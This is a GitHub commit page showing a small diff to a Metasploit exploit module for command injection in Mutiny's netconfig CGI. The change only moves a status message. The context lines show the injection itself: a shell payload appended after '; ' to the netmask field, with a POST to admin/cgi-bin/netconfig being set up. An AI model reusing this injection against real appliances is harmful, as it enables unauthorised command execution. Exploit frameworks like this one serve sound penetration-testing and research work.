Skip to content

Commit 25db782

Browse files
author
jvazquez-r7
committed
change print location
1 parent fdd7c37 commit 25db782

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/multi/http/mutiny_subnetmask_exec.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -227,8 +227,6 @@ def exploit
227227
print_error("#{peer} - Error leaking information, trying to exploit with random values")
228228
end
229229

230-
print_status("#{peer} - Exploiting Command Injection...")
231-
232230
if target.name =~ /CMD/
233231
injection = @netmask_eth0.dup || rand_text_alpha(5 + rand(3))
234232
injection << "; #{payload.encoded}"
@@ -244,6 +242,8 @@ def exploit
244242

245243
end
246244

245+
print_status("#{peer} - Exploiting Command Injection...")
246+
247247
send_request_cgi({
248248
'method' => 'POST',
249249
'uri' => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'),

0 commit comments

Comments
 (0)